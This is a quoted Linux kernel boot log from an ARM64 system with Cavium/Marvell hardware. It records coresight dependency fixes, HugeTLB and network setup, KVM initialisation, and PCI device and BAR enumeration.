> [ 1.396232] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf23@87a005710000
> [ 1.396242] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf22@87a005610000
> [ 1.396253] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf21@87a005510000
> [ 1.396263] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf20@87a005410000
> [ 1.396272] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf19@87a005310000
> [ 1.396283] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf18@87a005210000
> [ 1.396293] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf17@87a005110000
> [ 1.396303] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf16@87a005010000
> [ 1.396314] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf15@87a004f10000
> [ 1.396323] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf14@87a004e10000
> [ 1.396334] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf13@87a004d10000
> [ 1.396344] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf12@87a004c10000
> [ 1.396354] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf11@87a004b10000
> [ 1.396363] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf10@87a004a10000
> [ 1.396373] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf9@87a004910000
> [ 1.396384] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf8@87a004810000
> [ 1.396394] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf7@87a004710000
> [ 1.396403] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf6@87a004610000
> [ 1.396414] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf5@87a004510000
> [ 1.396423] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf4@87a004410000
> [ 1.396434] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf3@87a004310000
> [ 1.396444] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf2@87a004210000
> [ 1.396455] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf1@87a004110000
> [ 1.396464] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf0@87a004010000
> [ 1.396474] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/sh_etf@87a100050000
> [ 1.396546] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/sh_etf@87a100050000
> [ 1.396557] /soc@0/sh_etf@87a100050000: Fixed dependency cycle(s) with /soc@0/sh_etr@87a100060000
> [ 1.396570] /soc@0/sh_etf@87a100050000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.396617] /soc@0/sh_etf@87a100050000: Fixed dependency cycle(s) with /soc@0/sh_etr@87a100060000
> [ 1.396634] /soc@0/sh_etr@87a100060000: Fixed dependency cycle(s) with /soc@0/sh_etf@87a100050000
> [ 1.442998] HugeTLB: registered 1.00 GiB page size, pre-allocated 0 pages
> [ 1.443000] HugeTLB: 0 KiB vmemmap can be freed for a 1.00 GiB page
> [ 1.443001] HugeTLB: registered 32.0 MiB page size, pre-allocated 0 pages
> [ 1.443002] HugeTLB: 0 KiB vmemmap can be freed for a 32.0 MiB page
> [ 1.443003] HugeTLB: registered 2.00 MiB page size, pre-allocated 0 pages
> [ 1.443004] HugeTLB: 0 KiB vmemmap can be freed for a 2.00 MiB page
> [ 1.443005] HugeTLB: registered 64.0 KiB page size, pre-allocated 0 pages
> [ 1.443005] HugeTLB: 0 KiB vmemmap can be freed for a 64.0 KiB page
> [ 1.465549] ACPI: Interpreter disabled.
> [ 1.466074] iommu: Default domain type: Translated
> [ 1.466075] iommu: DMA domain TLB invalidation policy: strict mode
> [ 1.472937] SCSI subsystem initialized
> [ 1.472971] libata version 3.00 loaded.
> [ 1.517427] usbcore: registered new interface driver usbfs
> [ 1.517435] usbcore: registered new interface driver hub
> [ 1.517445] usbcore: registered new device driver usb
> [ 1.517599] pps_core: LinuxPPS API ver. 1 registered
> [ 1.517600] pps_core: Software ver. 5.3.6 - Copyright 2005-2007 Rodolfo Giometti <giometti@linux.it>
> [ 1.517603] PTP clock support registered
> [ 1.517615] EDAC MC: Ver: 3.0.0
> [ 1.517716] scmi_core: SCMI protocol bus registered
> [ 1.517880] FPGA manager framework
> [ 1.517906] Advanced Linux Sound Architecture Driver Initialized.
> [ 1.518130] vgaarb: loaded
> [ 1.525469] clocksource: Switched to clocksource arch_sys_counter
> [ 1.525531] VFS: Disk quotas dquot_6.6.0
> [ 1.525535] VFS: Dquot-cache hash table entries: 512 (order 0, 4096 bytes)
> [ 1.525623] pnp: PnP ACPI: disabled
> [ 1.526827] NET: Registered PF_INET protocol family
> [ 1.526903] IP idents hash table entries: 262144 (order: 9, 2097152 bytes, linear)
> [ 1.530165] tcp_listen_portaddr_hash hash table entries: 32768 (order: 7, 524288 bytes, linear)
> [ 1.530368] Table-perturb hash table entries: 65536 (order: 6, 262144 bytes, linear)
> [ 1.530381] TCP established hash table entries: 524288 (order: 10, 4194304 bytes, linear)
> [ 1.531978] TCP bind hash table entries: 65536 (order: 9, 2097152 bytes, linear)
> [ 1.532773] TCP: Hash tables configured (established 524288 bind 65536)
> [ 1.532815] UDP hash table entries: 32768 (order: 9, 2097152 bytes, linear)
> [ 1.533807] UDP-Lite hash table entries: 32768 (order: 9, 2097152 bytes, linear)
> [ 1.534833] NET: Registered PF_UNIX/PF_LOCAL protocol family
> [ 1.534918] RPC: Registered named UNIX socket transport module.
> [ 1.534919] RPC: Registered udp transport module.
> [ 1.534920] RPC: Registered tcp transport module.
> [ 1.534920] RPC: Registered tcp-with-tls transport module.
> [ 1.534921] RPC: Registered tcp NFSv4.1 backchannel transport module.
> [ 1.534924] PCI: CLS 0 bytes, default 64
> [ 1.541231] kvm [1]: nv: 570 coarse grained trap handlers
> [ 1.541279] kvm [1]: nv: 664 fine grained trap handlers
> [ 1.541368] kvm [1]: IPA Size Limit: 48 bits
> [ 1.547645] kvm [1]: GICv4 support disabled
> [ 1.547646] kvm [1]: GICv3: no GICV resource entry
> [ 1.547648] kvm [1]: disabling GICv2 emulation
> [ 1.555469] kvm [1]: GIC system register CPU interface enabled
> [ 1.555474] kvm [1]: vgic interrupt IRQ9
> [ 1.570247] kvm [1]: VHE mode initialized successfully
> [ 1.578044] Initialise system trusted keyrings
> [ 1.578072] workingset: timestamp_bits=42 max_order=24 bucket_order=0
> [ 1.578203] squashfs: version 4.0 (2009/01/31) Phillip Lougher
> [ 1.578267] NFS: Registering the id_resolver key type
> [ 1.578271] Key type id_resolver registered
> [ 1.578271] Key type id_legacy registered
> [ 1.578278] nfs4filelayout_init: NFSv4 File Layout Driver Registering...
> [ 1.578279] nfs4flexfilelayout_init: NFSv4 Flexfile Layout Driver Registering...
> [ 1.578306] 9p: Installing v9fs 9p2000 file system support
> [ 1.594524] Key type asymmetric registered
> [ 1.594525] Asymmetric key parser 'x509' registered
> [ 1.594538] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 244)
> [ 1.594539] io scheduler mq-deadline registered
> [ 1.594540] io scheduler kyber registered
> [ 1.652859] ledtrig-cpu: registered to indicate activity on CPUs
> [ 1.653020] pci-host-generic 878000000000.pci: host bridge /soc@0/pci@878000000000 ranges:
> [ 1.653030] pci-host-generic 878000000000.pci: MEM 0x802000000000..0x80f0008fffff -> 0x802000000000
> [ 1.653035] pci-host-generic 878000000000.pci: MEM 0x828000000000..0x8281001fffff -> 0x828000000000
> [ 1.653039] pci-host-generic 878000000000.pci: MEM 0x82c000000000..0x82c0001fffff -> 0x82c000000000
> [ 1.653043] pci-host-generic 878000000000.pci: MEM 0x86d000000000..0x86d0000fffff -> 0x86d000000000
> [ 1.653047] pci-host-generic 878000000000.pci: MEM 0x86e000000000..0x86e22fffffff -> 0x86e000000000
> [ 1.653050] pci-host-generic 878000000000.pci: MEM 0x87e002000000..0x87e027ffffff -> 0x87e002000000
> [ 1.653054] pci-host-generic 878000000000.pci: MEM 0x87e03c000000..0x87e0525fffff -> 0x87e03c000000
> [ 1.653058] pci-host-generic 878000000000.pci: MEM 0x87e087000000..0x87e0fcffffff -> 0x87e087000000
> [ 1.653061] pci-host-generic 878000000000.pci: MEM 0x87e100000000..0x87e10bffffff -> 0x87e100000000
> [ 1.653072] pci-host-generic 878000000000.pci: Memory resource size exceeds max for 32 bits
> [ 1.653073] pci-host-generic 878000000000.pci: Memory resource size exceeds max for 32 bits
> [ 1.653073] pci-host-generic 878000000000.pci: Memory resource size exceeds max for 32 bits
> [ 1.653085] pci-host-generic 878000000000.pci: ECAM at [mem 0x878000000000-0x87800fffffff] for [bus 00-ff]
> [ 1.653152] pci-host-generic 878000000000.pci: PCI host bridge to bus 0000:00
> [ 1.653155] pci_bus 0000:00: root bus resource [bus 00-ff]
> [ 1.653156] pci_bus 0000:00: root bus resource [mem 0x802000000000-0x80f0008fffff]
> [ 1.653158] pci_bus 0000:00: root bus resource [mem 0x828000000000-0x8281001fffff]
> [ 1.653159] pci_bus 0000:00: root bus resource [mem 0x82c000000000-0x82c0001fffff]
> [ 1.653160] pci_bus 0000:00: root bus resource [mem 0x86d000000000-0x86d0000fffff]
> [ 1.653161] pci_bus 0000:00: root bus resource [mem 0x86e000000000-0x86e22fffffff]
> [ 1.653162] pci_bus 0000:00: root bus resource [mem 0x87e002000000-0x87e027ffffff]
> [ 1.653164] pci_bus 0000:00: root bus resource [mem 0x87e03c000000-0x87e0525fffff]
> [ 1.653165] pci_bus 0000:00: root bus resource [mem 0x87e087000000-0x87e0fcffffff]
> [ 1.653166] pci_bus 0000:00: root bus resource [mem 0x87e100000000-0x87e10bffffff]
> [ 1.653235] pci 0000:00:01.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 1.653249] pci 0000:00:01.0: PCI bridge to [bus 01] (subtractive decode)
> [ 1.653253] pci 0000:00:01.0: bridge window [mem 0x00000000-0x000fffff]
> [ 1.653422] pci 0000:00:03.0: [177d:a062] type 00 class 0x088000 PCIe Root Complex Integrated Endpoint
> [ 1.653459] pci 0000:00:03.0: BAR 0 [mem 0x830000000000-0x8300001fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.653599] pci 0000:00:05.0: [177d:a017] type 00 class 0x088000 PCIe Root Complex Integrated Endpoint
> [ 1.653638] pci 0000:00:05.0: BAR 0 [mem 0x802000000000-0x8020000fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.653643] pci 0000:00:05.0: BAR 4 [mem 0x80200f000000-0x80200f0fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.653795] pci 0000:00:08.0: [177d:a09e] type 00 class 0x088000 PCIe Root Complex Integrated Endpoint
> [ 1.653833] pci 0000:00:08.0: BAR 0 [mem 0x807000000000-0x80700000ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.653838] pci 0000:00:08.0: BAR 4 [mem 0x807000f00000-0x807000ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.653966] pci 0000:00:0a.0: [177d:a09d] type 00 class 0x088000 PCIe Root Complex Integrated Endpoint
> [ 1.654011] pci 0000:00:0a.0: BAR 0 [mem 0x87a400000000-0x87a47fffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.654016] pci 0000:00:0a.0: BAR 4 [mem 0x87a480000000-0x87a4ffffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.654145] pci 0000:00:0c.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 1.654161] pci 0000:00:0c.0: PCI bridge to [bus 02] (subtractive decode)
> [ 1.654165] pci 0000:00:0c.0: bridge window [mem 0x00000000-0x000fffff]
> [ 1.654266] pci 0000:00:0d.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 1.654278] pci 0000:00:0d.0: PCI bridge to [bus 03] (subtractive decode)
> [ 1.654283] pci 0000:00:0d.0: bridge window [mem 0x00000000-0x000fffff]
> [ 1.654377] pci 0000:00:0e.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 1.654388] pci 0000:00:0e.0: PCI bridge to [bus 04] (subtractive decode)
> [ 1.654392] pci 0000:00:0e.0: bridge window [mem 0x00000000-0x000fffff]
> [ 1.654480] pci 0000:00:0f.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 1.654492] pci 0000:00:0f.0: PCI bridge to [bus 05] (subtractive decode)
> [ 1.654496] pci 0000:00:0f.0: bridge window [mem 0x00000000-0x000fffff]
> [ 1.654581] pci 0000:00:10.0: [177d:a092] type 00 class 0x088000 PCIe Root Complex Integrated Endpoint
> [ 1.654619] pci 0000:00:10.0: BAR 0 [mem 0x828000000000-0x82803fffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.654624] pci 0000:00:10.0: BAR 4 [mem 0x828100000000-0x8281000fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.654711] pci 0000:00:11.0: [177d:a00a] type 00 class 0x088000 PCIe Root Complex Integrated Endpoint
> [ 1.654747] pci 0000:00:11.0: BAR 0 [mem 0x803000000000-0x80300000ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.654752] pci 0000:00:11.0: BAR 4 [mem 0x803000f00000-0x803000ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.654910] pci 0000:00:14.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 1.654923] pci 0000:00:14.0: PCI bridge to [bus 06] (subtractive decode)
> [ 1.654927] pci 0000:00:14.0: bridge window [mem 0x00000000-0x000fffff]
> [ 1.655166] pci 0000:00:1a.0: [177d:a068] type 00 class 0x088000 PCIe Root Complex Integrated Endpoint
> [ 1.655205] pci 0000:00:1a.0: BAR 0 [mem 0x86d000000000-0x86d0000fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.655323] pci 0000:00:1c.0: [177d:a067] type 00 class 0x088000 PCIe Root Complex Integrated Endpoint
> [ 1.655360] pci 0000:00:1c.0: BAR 0 [mem 0x82c000000000-0x82c0000fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.655366] pci 0000:00:1c.0: BAR 4 [mem 0x82c000100000-0x82c0001fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.655463] pci 0000:00:1d.0: [177d:a067] type 00 class 0x088000 PCIe Root Complex Integrated Endpoint
> [ 1.655501] pci 0000:00:1d.0: BAR 0 [mem 0x82d000000000-0x82d0000fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.655506] pci 0000:00:1d.0: BAR 4 [mem 0x82d000100000-0x82d0001fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.655587] pci 0000:00:1e.0: [177d:a067] type 00 class 0x088000 PCIe Root Complex Integrated Endpoint
> [ 1.655622] pci 0000:00:1e.0: BAR 0 [mem 0x82e000000000-0x82e0000fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.655627] pci 0000:00:1e.0: BAR 4 [mem 0x82e000100000-0x82e0001fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.655792] pci 0000:01:00.0: [177d:a075] type 00 class 0x088000 PCIe Endpoint
> [ 1.655838] pci 0000:01:00.0: BAR 0 [mem 0x87e0fc000000-0x87e0fc03ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.655842] pci 0000:01:00.0: BAR 4 [mem 0x87e0fcf00000-0x87e0fcffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.655960] pci 0000:01:01.3: [177d:a02b] type 00 class 0x0c8000 PCIe Endpoint
> [ 1.656004] pci 0000:01:01.3: BAR 0 [mem 0x87e005000000-0x87e0050fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.656114] pci 0000:01:01.7: [177d:a035] type 00 class 0x088000 PCIe Endpoint
> [ 1.656157] pci 0000:01:01.7: BAR 0 [mem 0x87e001000000-0x87e0010fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.656162] pci 0000:01:01.7: BAR 2 [mem 0x800000000000-0x8000ffffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.656166] pci 0000:01:01.7: BAR 4 [mem 0x87e001f00000-0x87e001ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.656275] pci 0000:01:0a.0: [177d:a094] type 00 class 0x088000 PCIe Endpoint
> [ 1.656318] pci 0000:01:0a.0: BAR 0 [mem 0x87e120000000-0x87e1200fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.656323] pci 0000:01:0a.0: BAR 4 [mem 0x87e120f00000-0x87e120ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.656429] pci 0000:01:0a.1: [177d:a094] type 00 class 0x088000 PCIe Endpoint
> [ 1.656470] pci 0000:01:0a.1: BAR 0 [mem 0x87e121000000-0x87e1210fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.656475] pci 0000:01:0a.1: BAR 4 [mem 0x87e121f00000-0x87e121ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.656575] pci 0000:01:0a.2: [177d:a094] type 00 class 0x088000 PCIe Endpoint
> [ 1.656618] pci 0000:01:0a.2: BAR 0 [mem 0x87e122000000-0x87e1220fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.656623] pci 0000:01:0a.2: BAR 4 [mem 0x87e122f00000-0x87e122ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.656731] pci 0000:01:0c.0: [177d:a073] type 00 class 0x088000 PCIe Endpoint
> [ 1.656771] pci 0000:01:0c.0: BAR 0 [mem 0x87e010000000-0x87e0100fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.656776] pci 0000:01:0c.0: BAR 2 [mem 0x87e1bf000000-0x87e1bfffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.656780] pci 0000:01:0c.0: BAR 4 [mem 0x87e010100000-0x87e0101fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.656886] pci 0000:01:0f.0: [177d:a061] type 00 class 0x088000 PCIe Endpoint
> [ 1.656932] pci 0000:01:0f.0: BAR 0 [mem 0x87e018000000-0x87e01800ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.657033] pci 0000:01:10.0: [177d:a060] type 00 class 0x028000 PCIe Endpoint
> [ 1.657080] pci 0000:01:10.0: BAR 0 [mem 0x87e0e0000000-0x87e0e07fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.657085] pci 0000:01:10.0: BAR 4 [mem 0x87e0e0800000-0x87e0e0ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.657195] pci 0000:01:10.1: [177d:a060] type 00 class 0x028000 PCIe Endpoint
> [ 1.657238] pci 0000:01:10.1: BAR 0 [mem 0x87e0e1000000-0x87e0e17fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.657243] pci 0000:01:10.1: BAR 4 [mem 0x87e0e1800000-0x87e0e1ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.657354] pci 0000:01:14.0: [177d:a097] type 00 class 0x088000 PCIe Endpoint
> [ 1.657395] pci 0000:01:14.0: BAR 0 [mem 0x87e140000000-0x87e1400fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.657496] pci 0000:01:14.1: [177d:a097] type 00 class 0x088000 PCIe Endpoint
> [ 1.657536] pci 0000:01:14.1: BAR 0 [mem 0x87e141000000-0x87e1410fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.657629] pci 0000:01:14.2: [177d:a097] type 00 class 0x088000 PCIe Endpoint
> [ 1.657670] pci 0000:01:14.2: BAR 0 [mem 0x87e142000000-0x87e1420fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.657769] pci 0000:01:14.3: [177d:a097] type 00 class 0x088000 PCIe Endpoint
> [ 1.657808] pci 0000:01:14.3: BAR 0 [mem 0x87e143000000-0x87e1430fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.657910] pci 0000:01:14.4: [177d:a097] type 00 class 0x088000 PCIe Endpoint
> [ 1.657954] pci 0000:01:14.4: BAR 0 [mem 0x87e144000000-0x87e1440fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.658062] pci 0000:01:18.0: [177d:a012] type 00 class 0x0c8000 PCIe Endpoint
> [ 1.658102] pci 0000:01:18.0: BAR 0 [mem 0x87e100000000-0x87e10000ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.658107] pci 0000:01:18.0: BAR 4 [mem 0x87e100f00000-0x87e100ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.658230] pci 0000:01:18.1: [177d:a012] type 00 class 0x0c8000 PCIe Endpoint
> [ 1.658276] pci 0000:01:18.1: BAR 0 [mem 0x87e101000000-0x87e10100ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.658281] pci 0000:01:18.1: BAR 4 [mem 0x87e101f00000-0x87e101ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.658399] pci 0000:01:18.2: [177d:a012] type 00 class 0x0c8000 PCIe Endpoint
> [ 1.658436] pci 0000:01:18.2: BAR 0 [mem 0x87e102000000-0x87e10200ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.658441] pci 0000:01:18.2: BAR 4 [mem 0x87e102f00000-0x87e102ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.658551] pci 0000:01:18.4: [177d:a012] type 00 class 0x0c8000 PCIe Endpoint
> [ 1.658590] pci 0000:01:18.4: BAR 0 [mem 0x87e104000000-0x87e10400ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.658594] pci 0000:01:18.4: BAR 4 [mem 0x87e104f00000-0x87e104ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.658719] pci 0000:01:18.5: [177d:a012] type 00 class 0x0c8000 PCIe Endpoint
> [ 1.658760] pci 0000:01:18.5: BAR 0 [mem 0x87e105000000-0x87e10500ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.658765] pci 0000:01:18.5: BAR 4 [mem 0x87e105f00000-0x87e105ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.658877] pci 0000:01:18.6: [177d:a012] type 00 class 0x0c8000 PCIe Endpoint
> [ 1.658924] pci 0000:01:18.6: BAR 0 [mem 0x87e106000000-0x87e10600ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.658928] pci 0000:01:18.6: BAR 4 [mem 0x87e106f00000-0x87e106ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.659046] pci 0000:01:18.7: [177d:a012] type 00 class 0x0c8000 PCIe Endpoint
> [ 1.659090] pci 0000:01:18.7: BAR 0 [mem 0x87e107000000-0x87e10700ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.659095] pci 0000:01:18.7: BAR 4 [mem 0x87e107f00000-0x87e107ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.659220] pci 0000:01:19.0: [177d:a012] type 00 class 0x0c8000 PCIe Endpoint
> [ 1.659261] pci 0000:01:19.0: BAR 0 [mem 0x87e108000000-0x87e10800ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.659268] pci 0000:01:19.0: BAR 4 [mem 0x87e108f00000-0x87e108ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.659385] pci 0000:01:19.1: [177d:a012] type 00 class 0x0c8000 PCIe Endpoint
> [ 1.659432] pci 0000:01:19.1: BAR 0 [mem 0x87e109000000-0x87e10900ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.659436] pci 0000:01:19.1: BAR 4 [mem 0x87e109f00000-0x87e109ffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.659552] pci 0000:01:19.2: [177d:a012] type 00 class 0x0c8000 PCIe Endpoint
> [ 1.659593] pci 0000:01:19.2: BAR 0 [mem 0x87e10a000000-0x87e10a00ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.659598] pci 0000:01:19.2: BAR 4 [mem 0x87e10af00000-0x87e10affffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.659712] pci 0000:01:19.3: [177d:a012] type 00 class 0x0c8000 PCIe Endpoint
> [ 1.659754] pci 0000:01:19.3: BAR 0 [mem 0x87e10b000000-0x87e10b00ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.659759] pci 0000:01:19.3: BAR 4 [mem 0x87e10bf00000-0x87e10bffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.659893] pci_bus 0000:01: busn_res: [bus 01-ff] end is updated to 01
> [ 1.659940] pci 0000:02:00.0: [177d:a075] type 00 class 0x088000 PCIe Endpoint
> [ 1.659985] pci 0000:02:00.0: BAR 0 [mem 0x87e0f9000000-0x87e0f903ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.660076] pci_bus 0000:02: busn_res: [bus 02-ff] end is updated to 02
> [ 1.660119] pci 0000:03:00.0: [177d:a075] type 00 class 0x088000 PCIe Endpoint
> [ 1.660162] pci 0000:03:00.0: BAR 0 [mem 0x87e0fa000000-0x87e0fa03ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.660263] pci_bus 0000:03: busn_res: [bus 03-ff] end is updated to 03
> [ 1.660313] pci 0000:04:00.0: [177d:a075] type 00 class 0x088000 PCIe Endpoint
> [ 1.660359] pci 0000:04:00.0: BAR 0 [mem 0x87e0fb000000-0x87e0fb03ffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.660453] pci_bus 0000:04: busn_res: [bus 04-ff] end is updated to 04
> [ 1.660499] pci 0000:05:00.0: [177d:a098] type 00 class 0x120000 PCIe Endpoint
> [ 1.660541] pci 0000:05:00.0: BAR 0 [mem 0x87e00f000000-0x87e00f0fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.660545] pci 0000:05:00.0: VF BAR 2 [mem 0x80f000800000-0x80f0008fffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 1.660593] pci 0000:05:00.0: VF BAR 0 [mem 0x80f000800000-0x80f0008fffff 64bit]: contains BAR 0 for 1 VFs
> [ 1.660672] pci_bus 0000:05: busn_res: [bus 05-ff] end is updated to 05
> [ 1.660712] pci 0000:06:00.0: [177d:a080] type 00 class 0x088000 PCIe Endpoint
> [ 1.660757] pci 0000:06:00.0: BAR 0 [mem 0x86e000000000-0x86e0ffffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.660762] pci 0000:06:00.0: BAR 4 [mem 0x86e100000000-0x86e1000fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 1.660766] pci 0000:06:00.0: VF BAR 2 [mem 0x86e200000000-0x86e2000fffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 1.660771] pci 0000:06:00.0: bridge window [mem 0x86e210000000-0x86e2100fffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.686041] pci 0000:06:00.0: VF BAR 0 [mem 0x86e200000000-0x86e201ffffff 64bit]: contains BAR 0 for 32 VFs
> [ 2.686045] pci 0000:06:00.0: VF BAR 4 [mem 0x86e210000000-0x86e211ffffff 64bit]: contains BAR 4 for 32 VFs
> [ 2.686183] pci_bus 0000:06: busn_res: [bus 06-ff] end is updated to 06
> [ 2.686207] pci 0000:00:01.0: PCI bridge to [bus 01]
> [ 2.686211] pci 0000:00:0c.0: PCI bridge to [bus 02]
> [ 2.686213] pci 0000:00:0d.0: PCI bridge to [bus 03]
> [ 2.686215] pci 0000:00:0e.0: PCI bridge to [bus 04]
> [ 2.686217] pci 0000:00:0f.0: PCI bridge to [bus 05]
> [ 2.686220] pci 0000:00:14.0: PCI bridge to [bus 06]
> [ 2.687734] pci-host-generic 878020000000.pci: host bridge /soc@0/pci@878020000000 ranges:
> [ 2.687754] pci-host-generic 878020000000.pci: MEM 0x840000000000..0x85f4ffffffff -> 0x840000000000
> [ 2.687758] pci-host-generic 878020000000.pci: MEM 0x09fc000000..0x09ff03ffff -> 0x09fc000000
> [ 2.687761] pci-host-generic 878020000000.pci: Memory resource size exceeds max for 32 bits
> [ 2.687772] pci-host-generic 878020000000.pci: ECAM at [mem 0x878020000000-0x87802fffffff] for [bus 00-ff]
> [ 2.687794] pci-host-generic 878020000000.pci: PCI host bridge to bus 0002:00
> [ 2.687796] pci_bus 0002:00: root bus resource [bus 00-ff]
> [ 2.687797] pci_bus 0002:00: root bus resource [mem 0x840000000000-0x85f4ffffffff]
> [ 2.687798] pci_bus 0002:00: root bus resource [mem 0x9fc000000-0x9ff03ffff]
> [ 2.687813] pci 0002:00:00.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.687825] pci 0002:00:00.0: PCI bridge to [bus fa] (subtractive decode)
> [ 2.687829] pci 0002:00:00.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.687919] pci 0002:00:01.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.687932] pci 0002:00:01.0: PCI bridge to [bus fb] (subtractive decode)
> [ 2.687936] pci 0002:00:01.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.688025] pci 0002:00:02.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.688037] pci 0002:00:02.0: PCI bridge to [bus fc] (subtractive decode)
> [ 2.688041] pci 0002:00:02.0: bridge window [mem 0x00000000-0x000fffff]
> [ 2.688139] pci 0002:00:03.0: [177d:a002] type 01 class 0x060401 PCIe Root Port
> [ 2.688151] pci 0002:00:03.0: PCI bridge to [bus fd] (subtractive decode)
> [ 2.688155] pci 0002:00:03.0: bridge window [mem 0x00000000-0x000fffff]
